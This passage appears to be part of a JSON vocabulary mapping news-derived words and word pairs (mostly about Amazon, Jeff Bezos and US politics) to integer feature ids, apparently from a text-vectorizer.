30749,\n  \"literally close\": 30750,\n  \"debunk\": 30751,\n  \"matching funds\": 30752,\n  \"ask tough\": 30753,\n  \"stevens washington\": 30754,\n  \"push sources\": 30755,\n  \"hardly affected\": 30756,\n  \"companies issuing\": 30757,\n  \"btn provider\": 30758,\n  \"bezos leadership\": 30759,\n  \"information edge\": 30760,\n  \"announces\": 30761,\n  \"jpg 155x90\": 30762,\n  \"point actually\": 30763,\n  \"harm jeff\": 30764,\n  \"vallone urged\": 30765,\n  \"cecily strong\": 30766,\n  \"courting\": 30767,\n  \"steel stocks\": 30768,\n  \"v0 a4ee\": 30769,\n  \"pelosi\": 30770,\n  \"literal title\": 30771,\n  \"maybe appreciate\": 30772,\n  \"china vice\": 30773,\n  \"philippine national\": 30774,\n  \"hide caption\": 30775,\n  \"highways schools\": 30776,\n  \"accommodate potential\": 30777,\n  \"bedfellows\": 30778,\n  \"force believe\": 30779,\n  \"vancouver ant\": 30780,\n  \"variations amazon\": 30781,\n  \"396 shares\": 30782,\n  \"chambers amazon\": 30783,\n  \"rust\": 30784,\n  \"natured\": 30785,\n  \"brexit heavyweights\": 30786,\n  \"source goody\": 30787,\n  \"main hq\": 30788,\n  \"pocahontas\": 30789,\n  \"leave flee\": 30790,\n  \"feud centered\": 30791,\n  \"alexa dash\": 30792,\n  \"postdecode\": 30793,\n  \"define holistic\": 30794,\n  \"training cops\": 30795,\n  \"media agency\": 30796,\n  \"tu cuomo\": 30797,\n  \"highlight sanders\": 30798,\n  \"best scenario\": 30799,\n  \"collected bucket\": 30800,\n  \"sound defeat\": 30801,\n  \"ina\": 30802,\n  \"articles big\": 30803,\n  \"arrangement\": 30804,\n  \"postcard\": 30805,\n  \"gossip pages\": 30806,\n  \"probation 4657\": 30807,\n  \"owned amazon\": 30808,\n  \"trump cnn\": 30809,\n  \"kim seeing\": 30810,\n  \"bozo presumably\": 30811,\n  \"profiles white\": 30812,\n  \"doable minus\": 30813,\n  \"growth streak\": 30814,\n  \"limited service\": 30815,\n  \"immensely damaging\": 30816,\n  \"question arises\": 30817,\n  \"reading today\": 30818,\n  \"avengers infinity\": 30819,\n  \"relegated\": 30820,\n  \"facebook fast\": 30821,\n  \"stocking retail\": 30822,\n  \"related news\": 30823,\n  \"times revolt\": 30824,\n  \"lineage dined\": 30825,\n  \"yorkers amazon\": 30826,\n  \"ovation\": 30827,\n  \"sworn statement\": 30828,\n  \"predicting amazon\": 30829,\n  \"trim\": 30830,\n  \"posts multiple\": 30831,\n  \"texas security\": 30832,\n  \"gas companies\": 30833,\n  \"weddings hsbc\": 30834,\n  \"stifled innovation\": 30835,\n  \"amex\": 30836,\n  \"profit levels\": 30837,\n  \"doesn lose\": 30838,\n  \"certain passions\": 30839,\n  \"definitely affect\": 30840,\n  \"age pesticides\": 30841,\n  \"fake listing\": 30842,\n  \"rycroft\": 30843,\n  \"bias\": 30844,\n  \"investment portfolio\": 30845,\n  \"seattle days\": 30846,\n  \"slats turned\": 30847,\n  \"esteem\": 30848,\n  \"dp b06y5tlnjw\": 30849,\n  \"percival brought\": 30850,\n  \"fraction today\": 30851,\n  \"turkish syrian\": 30852,\n  \"question\": 30853,\n  \"websites federal\": 30854,\n  \"williams drug\": 30855,\n  \"emery\": 30856,\n  \"britt mchenry\": 30857,\n  \"strongly believes\": 30858,\n  \"criticized cnn\": 30859,\n  \"passengers injured\": 30860,\n  \"corp analysts\": 30861,\n  \"vested shares\": 30862,\n  \"groups concerned\": 30863,\n  \"consecutive days\": 30864,\n  \"savings starting\": 30865,\n  \"failure entrenching\": 30866,\n  \"valley titans\": 30867,\n  \"documents oracle\": 30868,\n  \"dagen\": 30869,\n  \"hulbert\": 30870,\n  \"vlastelica 415\": 30871,\n  \"office uses\": 30872,\n  \"josep borrell\": 30873,\n  \"5g\": 30874,\n  \"mankiw files\": 30875,\n  \"repaired\": 30876,\n  \"lives destiny\": 30877,\n  \"rachel weisz\": 30878,\n  \"stop shooting\": 30879,\n  \"comic nerds\": 30880,\n  \"ornery regulations\": 30881,\n  \"worth examining\": 30882,\n  \"havens\": 30883,\n  \"footage\": 30884,\n  \"ounces\": 30885,\n  \"subsidizing bezos\": 30886,\n  \"peter carr\": 30887,\n  \"credit carryforwards\": 30888,\n  \"need car\": 30889,\n  \"nearly identical\": 30890,\n  \"time speaking\": 30891,\n  \"jim tankersley\": 30892,\n  \"kanten\": 30893,\n  \"software hurts\": 30894,\n  \"photos pecker\": 30895,\n  \"crenshaw texas\": 30896,\n  \"owns saks\": 30897,\n  \"deputy\": 30898,\n  \"mueller filings\": 30899,\n  \"mesothelioma survival\": 30900,\n  \"lasts\": 30901,\n  \"abuse allegations\": 30902,\n  \"publications published\": 30903,\n  \"180commerce\": 30904,\n  \"running human\": 30905,\n  \"eas\": 30906,\n  \"questionable lab\": 30907,\n  \"fortune equally\": 30908,\n  \"disney lot\": 30909,\n  \"kanten reportedly\": 30910,\n  \"ayoola\": 30911,\n  \"insertbefore\": 30912,\n  \"usps services\": 30913,\n  \"ongoing investigation\": 30914,\n  \"reported trump\": 30915,\n  \"just billion\": 30916,\n  \"rain storm\": 30917,\n  \"prospect vice\": 30918,\n  \"employers raise\": 30919,\n  \"respective countries\": 30920,\n  \"counting ocean\": 30921,\n  \"ofthe visibility\": 30922,\n  \"2013 novel\": 30923,\n  \"embarrassing sign\": 30924,\n  \"company couriers\": 30925,\n  \"opioid distribution\": 30926,\n  \"edelheit tampa\": 30927,\n  \"tout amazon\": 30928,\n  \"decades amazon\": 30929,\n  \"goodman abrams\": 30930,\n  \"citing chinese\": 30931,\n  \"film star\": 30932,\n  \"major names\": 30933,\n  \"forum washington\": 30934,\n  \"floor mattingly\": 30935,\n  \"finished visiting\": 30936,\n  \"limo\": 30937,\n  \"vucci ap\": 30938,\n  \"google conduct\": 30939,\n  \"guidance separately\": 30940,\n  \"buffalo bills\": 30941,\n  \"tackles issues\": 30942,\n  \"wasn calling\": 30943,\n  \"fast accurate\": 30944,\n  \"old transgender\": 30945,\n  \"topic fireside\": 30946,\n  \"brave\": 30947,\n  \"gizmodo kate\": 30948,\n  \"blatant attempt\": 30949,\n  \"issuing correction\": 30950,\n  \"ntap\": 30951,\n  \"benefit america\": 30952,\n  \"silent amid\": 30953,\n  \"taxes focusing\": 30954,\n  \"hav\": 30955,\n  \"spinal surgeries\": 30956,\n  \"antiregulatory policies\": 30957,\n  \"evans health\": 30958,\n  \"delivery space\": 30959,\n  \"montana democratic\": 30960,\n  \"profitable corporations\": 30961,\n  \"knopf 900\": 30962,\n  \"followed\": 30963,\n  \"soy fields\": 30964,\n  \"amazement\": 30965,\n  \"invest billionto\": 30966,\n  \"imported record\": 30967,\n  \"hk\": 30968,\n  \"instances california\": 30969,\n  \"earlier mentioned\": 30970,\n  \"favourites\": 30971,\n  \"swear\": 30972,\n  \"paper tough\": 30973,\n  \"jeff apos\": 30974,\n  \"missing greene\": 30975,\n  \"nyc amazon\": 30976,\n  \"play key\": 30977,\n  \"forcing immigration\": 30978,\n  \"better operating\": 30979,\n  \"trench\": 30980,\n  \"shephard\": 30981,\n  \"including\": 30982,\n  \"technology earlier\": 30983,\n  \"incredible griff\": 30984,\n  \"thoroughly corrupting\": 30985,\n  \"1168\": 30986,\n  \"dash replenishment\": 30987,\n  \"anchor names\": 30988,\n  \"chlo\\u00eb sevigny\": 30989,\n  \"washington missed\": 30990,\n  \"best interests\": 30991,\n  \"kitchenware\": 30992,\n  \"underprices\": 30993,\n  \"loses billions\": 30994,\n  \"mexican fusion\": 30995,\n  \"pdf conversion\": 30996,\n  \"home deliveries\": 30997,\n  \"fresh batch\": 30998,\n  \"today headline\": 30999,\n  \"jayme closs\": 31000,\n  \"game people\": 31001,\n  \"youll retire\": 31002,\n  \"value offerings\": 31003,\n  \"capital larry\": 31004,\n  \"economic momentum\": 31005,\n  \"infected\": 31006,\n  \"ambrosetti international\": 31007,\n  \"ire earlier\": 31008,\n  \"lavigne treats\": 31009,\n  \"ecstasy\": 31010,\n  \"main gas\": 31011,\n  \"published cardinal\": 31012,\n  \"dick durbin\": 31013,\n  \"holding families\": 31014,\n  \"problem referring\": 31015,\n  \"blair foster\": 31016,\n  \"hometown ranks\": 31017,\n  \"youtu\": 31018,\n  \"demand payments\": 31019,\n  \"improper schiff\": 31020,\n  \"world headlineposttext\": 31021,\n  \"blackmailed\": 31022,\n  \"makes point\": 31023,\n  \"hartley\": 31024,\n  \"senate judicial\": 31025,\n  \"ended 382\": 31026,\n  \"samevmware\": 31027,\n  \"operating amid\": 31028,\n  \"unfunded liabilities\": 31029,\n  \"urged orlando\": 31030,\n  \"educator\": 31031,\n  \"registered\": 31032,\n  \"complex issues\": 31033,\n  \"nyse kss\": 31034,\n  \"reporter jeremy\": 31035,\n  \"secret sauce\": 31036,\n  \"gop autopsy\": 31037,\n  \"accounts claiming\": 31038,\n  \"tell wsj\": 31039,\n  \"collective suspension\": 31040,\n  \"including graphics\": 31041,\n  \"good look\": 31042,\n  \"mcmafia amazon\": 31043,\n  \"folds tax\": 31044,\n  \"heather podesta\": 31045,\n  \"mobilization\": 31046,\n  \"officials fined\": 31047,\n  \"girl digital\": 31048,\n  \"tabloid spotlight\": 31049,\n  \"poster depicting\": 31050,\n  \"stocked\": 31051,\n  \"cis\": 31052,\n  \"printing press\": 31053,\n  \"pending divorce\": 31054,\n  \"wallace host\": 31055,\n  \"us27 billion\": 31056,\n  \"definitely targets\": 31057,\n  \"enforcement responsibilities\": 31058,\n  \"rates tick\": 31059,\n  \"colbert mocked\": 31060,\n  \"giving wide\": 31061,\n  \"metascript\": 31062,\n  \"catalysts\": 31063,\n  \"propublica illinois\": 31064,\n  \"board price\": 31065,\n  \"hair loss\": 31066,\n  \"amazon cost\": 31067,\n  \"photo tweeted\": 31068,\n  \"beiser\": 31069,\n  \"stakeholders residing\": 31070,\n  \"stock underperformed\": 31071,\n  \"reported naples\": 31072,\n  \"wages social\": 31073,\n  \"basin site\": 31074,\n  \"trump propagandist\": 31075,\n  \"unrecommend\": 31076,\n  \"delagarza\": 31077,\n  \"leonsis\": 31078,\n  \"bit disenchanted\": 31079,\n  \"department defense\": 31080,\n  \"cn cnbc\": 31081,\n  \"marriage\": 31082,\n  \"collective run\": 31083,\n  \"lgbtq makes\": 31084,\n  \"2018 brad\": 31085,\n  \"48bnguvivs helen\": 31086,\n  \"aut_twitter_id billmurphyjr\": 31087,\n  \"bern\": 31088,\n  \"promoting\": 31089,\n  \"depot founder\": 31090,\n  \"worth owning\": 31091,\n  \"making headlines\": 31092,\n  \"newspaper ongoing\": 31093,\n  \"trump frequent\": 31094,\n  \"officials political\": 31095,\n  \"unproven\": 31096,\n  \"brains sharp\": 31097,\n  \"quarter collection\": 31098,\n  \"giant did\": 31099,\n  \"katy\": 31100,\n  \"employee unionization\": 31101,\n  \"cooker multicooker\": 31102,\n  \"certain large\": 31103,\n  \"offerings charging\": 31104,\n  \"immigrant children\": 31105,\n  \"puppy\": 31106,\n  \"compromises\": 31107,\n  \"speed firstnet\": 31108,\n  \"tesla makes\": 31109,\n  \"repeatedly railed\": 31110,\n  \"fernando\": 31111,\n  \"online anthony\": 31112,\n  \"constantly annexing\": 31113,\n  \"summer scheduled\": 31114,\n  \"j808x8vl6c\": 31115,\n  \"bear signal\": 31116,\n  \"drawbacks\": 31117,\n  \"irresistibly\": 31118,\n  \"secretary csnac\": 31119,\n  \"mccain sparred\": 31120,\n  \"newly launched\": 31121,\n  \"imposing higher\": 31122,\n  \"market chris\": 31123,\n  \"consumed saudi\": 31124,\n  \"compose\": 31125,\n  \"allows independent\": 31126,\n  \"favoring google\": 31127,\n  \"million political\": 31128,\n  \"jpm chase\": 31129,\n  \"fortuitous\": 31130,\n  \"fedex stock\": 31131,\n  \"say yeah\": 31132,\n  \"blames\": 31133,\n  \"hashtag boycottwalmart\": 31134,\n  \"pence held\": 31135,\n  \"past working\": 31136,\n  \"2fwww chicagotribune\": 31137,\n  \"russia china\": 31138,\n  \"general mattis\": 31139,\n  \"safe 303567\": 31140,\n  \"katharine\": 31141,\n  \"advocates acknowledge\": 31142,\n  \"biondo investment\": 31143,\n  \"secret making\": 31144,\n  \"r0\": 31145,\n  \"ami escaped\": 31146,\n  \"today solomon\": 31147,\n  \"prosecute\": 31148,\n  \"martin photo\": 31149,\n  \"mattingly kaitlan\": 31150,\n  \"successful soft\": 31151,\n  \"dances\": 31152,\n  \"target universities\": 31153,\n  \"overly\": 31154,\n  \"missil potential\": 31155,\n  \"amazon seth\": 31156,\n  \"stella mccartney\": 31157,\n  \"avoid paradoxes\": 31158,\n  \"inzaulgarat\": 31159,\n  \"gracing magazine\": 31160,\n  \"rinse\": 31161,\n  \"sbux ceo\": 31162,\n  \"conservative ceos\": 31163,\n  \"making million\": 31164,\n  \"new insight\": 31165,\n  \"boycottamazon hashtag\": 31166,\n  \"retaliatory tariff\": 31167,\n  \"simpsons scenes\": 31168,\n  \"convicted kelly\": 31169,\n  \"orders chinas\": 31170,\n  \"tapes emerged\": 31171,\n  \"avenue dented\": 31172,\n  \"reportedly bought\": 31173,\n  \"called sanders\": 31174,\n  \"growing number\": 31175,\n  \"rmb30bn\": 31176,\n  \"mads\": 31177,\n  \"shoring\": 31178,\n  \"powers idea\": 31179,\n  \"articleelem data\": 31180,\n  \"2017 raising\": 31181,\n  \"suisse hired\": 31182,\n  \"shinsuke\": 31183,\n  \"13th bloomberg\": 31184,\n  \"presidential related\": 31185,\n  \"farming communities\": 31186,\n  \"crp data\": 31187,\n  \"liberal minded\": 31188,\n  \"company offering\": 31189,\n  \"220 people\": 31190,\n  \"box credit\": 31191,\n  \"zachary\": 31192,\n  \"advises cautious\": 31193,\n  \"opinion writers\": 31194,\n  \"scandal regarding\": 31195,\n  \"genetic\": 31196,\n  \"sports 2018\": 31197,\n  \"results today\": 31198,\n  \"bad federal\": 31199,\n  \"action using\": 31200,\n  \"causing european\": 31201,\n  \"brezhnev\": 31202,\n  \"final request\": 31203,\n  \"sears changed\": 31204,\n  \"getcurrentvideocardcontents\": 31205,\n  \"company took\": 31206,\n  \"mansion instagram\": 31207,\n  \"doesn really\": 31208,\n  \"nearing postrecession\": 31209,\n  \"free money\": 31210,\n  \"tower construction\": 31211,\n  \"sen mazie\": 31212,\n  \"stringent policing\": 31213,\n  \"sizes max\": 31214,\n  \"quality doctors\": 31215,\n  \"investors mainly\": 31216,\n  \"parties denounced\": 31217,\n  \"world scientists\": 31218,\n  \"policy adviser\": 31219,\n  \"retailers maxsa\": 31220,\n  \"worth depending\": 31221,\n  \"promoting politically\": 31222,\n  \"organized town\": 31223,\n  \"similarities\": 31224,\n  \"records collected\": 31225,\n  \"product\": 31226,\n  \"hmmm sounds\": 31227,\n  \"look pretty\": 31228,\n  \"samantha lee\": 31229,\n  \"seattles\": 31230,\n  \"undated\": 31231,\n  \"stunning swirl\": 31232,\n  \"reserve chief\": 31233,\n  \"enormous wealth\": 31234,\n  \"europe index\": 31235,\n  \"answer won\": 31236,\n  \"comedian manages\": 31237,\n  \"research team\": 31238,\n  \"cortez drives\": 31239,\n  \"montreal mom\": 31240,\n  \"giuliani tried\": 31241,\n  \"economy similarly\": 31242,\n  \"events rates\": 31243,\n  \"allegedly rewarded\": 31244,\n  \"month announced\": 31245,\n  \"large size\": 31246,\n  \"lawyer treasonous\": 31247,\n  \"building trades\": 31248,\n  \"diane bartz\": 31249,\n  \"kingston\": 31250,\n  \"main\": 31251,\n  \"aforementioned securities\": 31252,\n  \"resource material\": 31253,\n  \"explain democratic\": 31254,\n  \"tissue taken\": 31255,\n  \"93m\": 31256,\n  \"trilogy covers\": 31257,\n  \"kelly \\u01612017\": 31258,\n  \"jonathan swan\": 31259,\n  \"believe tech\": 31260,\n  \"model pharmacy\": 31261,\n  \"crowd member\": 31262,\n  \"behemoth consults\": 31263,\n  \"host joined\": 31264,\n  \"utm_medium onsite\": 31265,\n  \"time make\": 31266,\n  \"nuclear capable\": 31267,\n  \"distinctive laugh\": 31268,\n  \"postscript\": 31269,\n  \"evacuation orders\": 31270,\n  \"cnn utils\": 31271,\n  \"worst cook\": 31272,\n  \"terminals\": 31273,\n  \"statement apologizing\": 31274,\n  \"usa photo\": 31275,\n  \"republican elected\": 31276,\n  \"spying comments\": 31277,\n  \"marvin kalb\": 31278,\n  \"hud proposed\": 31279,\n  \"directors anders\": 31280,\n  \"houses say\": 31281,\n  \"odyssey died\": 31282,\n  \"ipec\": 31283,\n  \"president deals\": 31284,\n  \"national correspondent\": 31285,\n  \"t5q 195\": 31286,\n  \"literary bohemian\": 31287,\n  \"trump sessions\": 31288,\n  \"kidnapping\": 31289,\n  \"web extra\": 31290,\n  \"premiership\": 31291,\n  \"2018 marking\": 31292,\n  \"bush years\": 31293,\n  \"include strong\": 31294,\n  \"building data\": 31295,\n  \"step include\": 31296,\n  \"clear winner\": 31297,\n  \"unspecified tax\": 31298,\n  \"amazons contracts\": 31299,\n  \"largest legal\": 31300,\n  \"matured time\": 31301,\n  \"trump nixon\": 31302,\n  \"congressman johngaramendi\": 31303,\n  \"trailing allen\": 31304,\n  \"bezos splitting\": 31305,\n  \"business history\": 31306,\n  \"mahoney\": 31307,\n  \"dalvin\": 31308,\n  \"additional training\": 31309,\n  \"hamptons sell\": 31310,\n  \"reportedly warned\": 31311,\n  \"day democratic\": 31312,\n  \"accuser ford\": 31313,\n  \"market segment\": 31314,\n  \"bullied democratic\": 31315,\n  \"restaurant manducatis\": 31316,\n  \"katz sent\": 31317,\n  \"immune response\": 31318,\n  \"daily federal\": 31319,\n  \"dynamic force\": 31320,\n  \"openly acknowledging\": 31321,\n  \"irritate trump\": 31322,\n  \"time congestion\": 31323,\n  \"home innovations\": 31324,\n  \"accepting foreign\": 31325,\n  \"technology education\": 31326,\n  \"pretoria\": 31327,\n  \"million usps\": 31328,\n  \"vestager competition\": 31329,\n  \"available worldwide\": 31330,\n  \"raised water\": 31331,\n  \"defends chiefs\": 31332,\n  \"esp streetinsider\": 31333,\n  \"documents reviewed\": 31334,\n  \"wife donald\": 31335,\n  \"faqs comments\": 31336,\n  \"cost covering\": 31337,\n  \"daily shot\": 31338,\n  \"media tom\": 31339,\n  \"2016 amazon\": 31340,\n  \"cbs donaldtrump\": 31341,\n  \"zone wirecard\": 31342,\n  \"talese doubleday\": 31343,\n  \"reporting tools\": 31344,\n  \"anthony demartino\": 31345,\n  \"turkish officials\": 31346,\n  \"afforded\": 31347,\n  \"payne\": 31348,\n  \"amazon builds\": 31349,\n  \"sensors satellites\": 31350,\n  \"ticket\": 31351,\n  \"privacy 1536750001\": 31352,\n  \"smith sotheby\": 31353,\n  \"say legal\": 31354,\n  \"started offering\": 31355,\n  \"ice rink\": 31356,\n  \"description\": 31357,\n  \"activity amazon\": 31358,\n  \"charging shippers\": 31359,\n  \"dole mistress\": 31360,\n  \"angry ruthless\": 31361,\n  \"influential dealmakers\": 31362,\n  \"aws businesses\": 31363,\n  \"issues rielly\": 31364,\n  \"nyc arlington\": 31365,\n  \"million bail\": 31366,\n  \"finances released\": 31367,\n  \"analyst chuck\": 31368,\n  \"remarkably similar\": 31369,\n  \"disempowering ibama\": 31370,\n  \"report available\": 31371,\n  \"potential pitfalls\": 31372,\n  \"largest employer\": 31373,\n  \"rstevenson15\": 31374,\n  \"border troop\": 31375,\n  \"comey really\": 31376,\n  \"tayyip erdogan\": 31377,\n  \"tempting power\": 31378,\n  \"american led\": 31379,\n  \"christopher kimball\": 31380,\n  \"socialites\": 31381,\n  \"grownups\\u0430act\\u0430like\": 31382,\n  \"coverage bezos\": 31383,\n  \"ecommerce websites\": 31384,\n  \"avoided trump\": 31385,\n  \"strained ties\": 31386,\n  \"unseemly underpinning\": 31387,\n  \"immediately provide\": 31388,\n  \"long way\": 31389,\n  \"balls\": 31390,\n  \"billion bone\": 31391,\n  \"information overload\": 31392,\n  \"acting director\": 31393,\n  \"company believe\": 31394,\n  \"2016 dailymail\": 31395,\n  \"profits multinationals\": 31396,\n  \"billion peter\": 31397,\n  \"excellent illustration\": 31398,\n  \"pets outside\": 31399,\n  \"command officer\": 31400,\n  \"commerce colossus\": 31401,\n  \"acquired organic\": 31402,\n  \"division jumped\": 31403,\n  \"maggie haberman\": 31404,\n  \"similar question\": 31405,\n  \"nazis japanese\": 31406,\n  \"netapp\": 31407,\n  \"pleased\": 31408,\n  \"movement shame\": 31409,\n  \"national platform\": 31410,\n  \"security guard\": 31411,\n  \"facebook deals\": 31412,\n  \"bundles international\": 31413,\n  \"electric kawasaki\": 31414,\n  \"boyfriend craig\": 31415,\n  \"pulled smart\": 31416,\n  \"recruitment goal\": 31417,\n  \"plus prime\": 31418,\n  \"bet earl\": 31419,\n  \"pichai responds\": 31420,\n  \"short history\": 31421,\n  \"disruptive behaviour\": 31422,\n  \"wealthy shoppers\": 31423,\n  \"amzn make\": 31424,\n  \"applauded\": 31425,\n  \"headquarters execs\": 31426,\n  \"business unlike\": 31427,\n  \"amazon fear\": 31428,\n  \"fashion wish\": 31429,\n  \"fastdom measure\": 31430,\n  \"donald think\": 31431,\n  \"whitney activist\": 31432,\n  \"barry grodenchik\": 31433,\n  \"indian business\": 31434,\n  \"earning counterparts\": 31435,\n  \"percentage terms\": 31436,\n  \"johngaramendi levelled\": 31437,\n  \"coach team\": 31438,\n  \"opinionated\": 31439,\n  \"check price\": 31440,\n  \"voter enthusiasm\": 31441,\n  \"displaced villages\": 31442,\n  \"overnight vote\": 31443,\n  \"mark lamster\": 31444,\n  \"ugly delicious\": 31445,\n  \"tatters\": 31446,\n  \"market continues\": 31447,\n  \"raise sanders\": 31448,\n  \"initial coin\": 31449,\n  \"punches kicks\": 31450,\n  \"combat zones\": 31451,\n  \"blow suffered\": 31452,\n  \"martin sinema\": 31453,\n  \"cnn image\": 31454,\n  \"amazon writing\": 31455,\n  \"constitute taxpayer\": 31456,\n  \"flynn novel\": 31457,\n  \"instead argues\": 31458,\n  \"init datecreated\": 31459,\n  \"vaccines fueled\": 31460,\n  \"comment according\": 31461,\n  \"security council\": 31462,\n  \"wars franchise\": 31463,\n  \"crime nawazuddin\": 31464,\n  \"age far\": 31465,\n  \"google llc\": 31466,\n  \"territory investors\": 31467,\n  \"following excerpts\": 31468,\n  \"dvd published\": 31469,\n  \"postpone retaliatory\": 31470,\n  \"dependence\": 31471,\n  \"higher wages\": 31472,\n  \"benchmark sensex\": 31473,\n  \"stock specific\": 31474,\n  \"contributor glamorous\": 31475,\n  \"trade deficit\": 31476,\n  \"fargo combined\": 31477,\n  \"complete deliveries\": 31478,\n  \"bombs killed\": 31479,\n  \"alphabet boeing\": 31480,\n  \"dilutes\": 31481,\n  \"certificates licenses\": 31482,\n  \"internet entrepreneur\": 31483,\n  \"house president\": 31484,\n  \"nominated series\": 31485,\n  \"families joyful\": 31486,\n  \"bidding adding\": 31487,\n  \"2018 motley\": 31488,\n  \"contractor opportunities\": 31489,\n  \"twitter attacks\": 31490,\n  \"signups\": 31491,\n  \"stoxx europe\": 31492,\n  \"earvil\": 31493,\n  \"multiple\": 31494,\n  \"gloating\": 31495,\n  \"times responded\": 31496,\n  \"trump wrote\": 31497,\n  \"manufactured feud\": 31498,\n  \"warning game\": 31499,\n  \"international rules\": 31500,\n  \"rep mick\": 31501,\n  \"arundhati\": 31502,\n  \"warren floats\": 31503,\n  \"housing secretary\": 31504,\n  \"challenge decision\": 31505,\n  \"new fans\": 31506,\n  \"axvpbhjd2u utpol\": 31507,\n  \"days caused\": 31508,\n  \"miles ahead\": 31509,\n  \"easy acceptance\": 31510,\n  \"planet gates\": 31511,\n  \"alleged plot\": 31512,\n  \"helped mute\": 31513,\n  \"market gained\": 31514,\n  \"steve jobs\": 31515,\n  \"send strong\": 31516,\n  \"5k walk\": 31517,\n  \"china changes\": 31518,\n  \"school fall\": 31519,\n  \"lamichhane\": 31520,\n  \"colvin sent\": 31521,\n  \"aik\": 31522,\n  \"inline_script_tags loadedfully\": 31523,\n  \"tech entrepreneur\": 31524,\n  \"director honorary\": 31525,\n  \"takes slightly\": 31526,\n  \"air tankers\": 31527,\n  \"lion hearted\": 31528,\n  \"constituents weren\": 31529,\n  \"recommendations charts\": 31530,\n  \"tellado president\": 31531,\n  \"regulatory enforcement\": 31532,\n  \"amazon exit\": 31533,\n  \"california live\": 31534,\n  \"pushed sales\": 31535,\n  \"billion 386\": 31536,\n  \"discussion 2018\": 31537,\n  \"tipsheets\": 31538,\n  \"offering product\": 31539,\n  \"yes\": 31540,\n  \"washington politico\": 31541,\n  \"sales geekwire\": 31542,\n  \"superimposed\": 31543,\n  \"ranchers soy\": 31544,\n  \"2018 ecolab\": 31545,\n  \"halts store\": 31546,\n  \"espinal liveable\": 31547,\n  \"grove\": 31548,\n  \"proactive steps\": 31549,\n  \"discount read\": 31550,\n  \"withholdings\": 31551,\n  \"dollar billing\": 31552,\n  \"founder branch\": 31553,\n  \"says mnuchin\": 31554,\n  \"nail\": 31555,\n  \"tweet sparked\": 31556,\n  \"franciscan university\": 31557,\n  \"overhaul eliminated\": 31558,\n  \"going gone\": 31559,\n  \"important element\": 31560,\n  \"establishing sustainable\": 31561,\n  \"developmental disorders\": 31562,\n  \"celebrations cbs\": 31563,\n  \"belk foto\": 31564,\n  \"181001125327\": 31565,\n  \"photographer matthew\": 31566,\n  \"mrntf\": 31567,\n  \"issues provide\": 31568,\n  \"increased shipping\": 31569,\n  \"635x367 getty_173218731_200015422000928060_388160\": 31570,\n  \"sourer tone\": 31571,\n  \"downloaded\": 31572,\n  \"2018 based\": 31573,\n  \"enquirer received\": 31574,\n  \"hq1\": 31575,\n  \"development oecd\": 31576,\n  \"microblogging\": 31577,\n  \"lower middle\": 31578,\n  \"deports illegal\": 31579,\n  \"anthology series\": 31580,\n  \"tissue paper\": 31581,\n  \"star hotel\": 31582,\n  \"mood kilmeade\": 31583,\n  \"exceed billion\": 31584,\n  \"issues concerning\": 31585,\n  \"tech boys\": 31586,\n  \"accidentally ordered\": 31587,\n  \"explained follow\": 31588,\n  \"retail ordering\": 31589,\n  \"modernist poster\": 31590,\n  \"divorced president\": 31591,\n  \"super satya\": 31592,\n  \"aig chubb\": 31593,\n  \"occasion misleadingly\": 31594,\n  \"lingering unease\": 31595,\n  \"signing nondisclosure\": 31596,\n  \"chemical component\": 31597,\n  \"dzyf4hyii1 josh\": 31598,\n  \"seeno homebuilding\": 31599,\n  \"pounding\": 31600,\n  \"real cost\": 31601,\n  \"rights migrant\": 31602,\n  \"citing data\": 31603,\n  \"michael deleo\": 31604,\n  \"2020 elon\": 31605,\n  \"tech culture\": 31606,\n  \"dumb idea\": 31607,\n  \"river bridges\": 31608,\n  \"nonmainstream commentators\": 31609,\n  \"respect trump\": 31610,\n  \"democrat presidential\": 31611,\n  \"dairy farmers\": 31612,\n  \"fin\": 31613,\n  \"castillo\": 31614,\n  \"detained swedish\": 31615,\n  \"20181205 1331804068\": 31616,\n  \"trump married\": 31617,\n  \"saqib\": 31618,\n  \"9oypfoxzk3 jeff\": 31619,\n  \"n4 a4ee\": 31620,\n  \"ports alessandra\": 31621,\n  \"blatant examples\": 31622,\n  \"ami sought\": 31623,\n  \"series daredevil\": 31624,\n  \"115th precincts\": 31625,\n  \"isis remains\": 31626,\n  \"inner circle\": 31627,\n  \"selected essays\": 31628,\n  \"tilson\": 31629,\n  \"amazon advantageous\": 31630,\n  \"ranching china\": 31631,\n  \"joel sartore\": 31632,\n  \"book contains\": 31633,\n  \"summit coverage\": 31634,\n  \"ideas 2018\": 31635,\n  \"community organized\": 31636,\n  \"readmorearticles\": 31637,\n  \"partners dsp\": 31638,\n  \"jesus dad\": 31639,\n  \"recovers soon\": 31640,\n  \"soros\": 31641,\n  \"markets stabilize\": 31642,\n  \"company manages\": 31643,\n  \"retail sectors\": 31644,\n  \"michael hancock\": 31645,\n  \"demeans\": 31646,\n  \"conjured\": 31647,\n  \"governor walker\": 31648,\n  \"jeff retaining\": 31649,\n  \"asked ceo\": 31650,\n  \"industry mccarthy\": 31651,\n  \"b7a r4ee\": 31652,\n  \"bezos announces\": 31653,\n  \"says kindle\": 31654,\n  \"managing\": 31655,\n  \"jurists\": 31656,\n  \"bulk orders\": 31657,\n  \"hamilton point\": 31658,\n  \"presidency sen\": 31659,\n  \"jason romero\": 31660,\n  \"margery eagan\": 31661,\n  \"gilbert suggests\": 31662,\n  \"holding steady\": 31663,\n  \"people create\": 31664,\n  \"2018 alex\": 31665,\n  \"worked pay\": 31666,\n  \"10th annual\": 31667,\n  \"includes north\": 31668,\n  \"consumers lack\": 31669,\n  \"china trump\": 31670,\n  \"linkedin youtube\": 31671,\n  \"trouble ahead\": 31672,\n  \"shooting trial\": 31673,\n  \"opioid related\": 31674,\n  \"upcoming shopping\": 31675,\n  \"average wages\": 31676,\n  \"cheek dropped\": 31677,\n  \"early days\": 31678,\n  \"work vice\": 31679,\n  \"multiple children\": 31680,\n  \"series available\": 31681,\n  \"suggests raising\": 31682,\n  \"campaign buying\": 31683,\n  \"locally broadcast\": 31684,\n  \"govern environmental\": 31685,\n  \"make shopping\": 31686,\n  \"lighter blue\": 31687,\n  \"execution style\": 31688,\n  \"bergen\": 31689,\n  \"nyse tgt\": 31690,\n  \"save taxpayer\": 31691,\n  \"government legitimatized\": 31692,\n  \"counterfeit wine\": 31693,\n  \"landfills\": 31694,\n  \"art therapy\": 31695,\n  \"procurement policy\": 31696,\n  \"pondered\": 31697,\n  \"host lawrence\": 31698,\n  \"progress despite\": 31699,\n  \"long sniped\": 31700,\n  \"articles tech\": 31701,\n  \"neuroses\": 31702,\n  \"consumption habits\": 31703,\n  \"closely related\": 31704,\n  \"ne tally\": 31705,\n  \"lsd cocaine\": 31706,\n  \"lake success\": 31707,\n  